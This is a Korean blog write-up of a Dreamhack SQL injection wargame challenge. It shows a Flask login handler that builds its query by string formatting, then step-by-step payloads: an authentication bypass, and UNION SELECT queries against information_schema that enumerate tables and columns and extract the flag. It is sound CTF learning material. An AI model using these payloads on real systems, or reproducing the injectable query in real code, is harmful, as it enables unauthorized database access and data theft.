반응형
문제 설명
로그인 시 계정의 정보가 출력되는 웹 서비스입니다.
SQL INJECTION 취약점을 통해 플래그를 획득하세요. 문제에서 주어진 init.sql 파일의 테이블명과 컬럼명은 실제 이름과 다릅니다.
플래그 형식은 DH{...} 입니다.
코드 분석
app.py
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
if data:
return render_template("user.html", data=data)
else: return render_template("index.html", data="Wrong!")
return render_template("index.html", data="Fill the input box", pre=1)
return render_template("index.html")
- uid와 upw 입력받음
- 입력받은 uid와 upw가 입력 그대로 쿼리문이 실행됨
init.sql
USE `secret_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;
CREATE TABLE fake_table_name (
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
- user 테이블엔 idx, uid, upw, descr 있음
- 값은 각각 admin, apple, for admin / guest, melon, For guest / banana, test, For banana 임
- fake_table_name 테이블도 만들고 idx, fake_col1 ~ fake_col4 까지 있음
- 각각 값을 합치면 플래그가 되는 듯함
취약점 분석
- 입력한 uid와 upw가 쿼리문 그대로 실행됨
- SQL Injection 가능성 높음
익스플로잇
먼저 SQL Injection이 가능한지 확인하기 위해
admin'#
을 먼저 입력해준다.


제대로 admin으로 로그인이 된 것을 확인할 수 있었다.
먼저 테이블 이름을 알아보기 위해
upw 입력칸에
1' UNION SELECT null, table_name, null, null FROM information_schema.tables #
를 입력해준다.
따라서, 결과 화면을 보면


맨 아래에 onlyflag 라는 테이블을 확인할 수 있다.
그다음 페이로드로
1' UNION SELECT null, column_name, null, null FROM information_schema.columns WHERE table_name='onlyflag'#

의심되는 컬럼들이 몇 개 있다. sname, svalue, sflag, sclose
그다음
1' UNION SELECT sname, svalue, sflag, sclose FROM onlyflag #

플래그 획득

알아야 하는 것
UNION 연산자
: 합칠 때 SELECT 절이 반환하는 컬럼 개수와 데이터 타입이 같아야 함
따라서 다음과 같은 페이로드로 개수를 파악해야 함
UNION SELECT 1 #
UNION SELECT 1,2 #
UNION SELECT 1,2,3#
UNION SELECT 1,2,3,4#
...
MySQL에서는 information_schema.tables로 스키마의 정보를 조회할 수 있다.
또한 information_schema.columns로 컬럼 정보를 조회할 수 있다.
반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| BypassIF (0) | 2026.02.09 |
|---|---|
| Type c-j (0) | 2026.02.08 |
| amocafe (0) | 2026.02.08 |
| command-injection-chatgpt (0) | 2026.02.08 |
| Apache htaccess (0) | 2026.02.08 |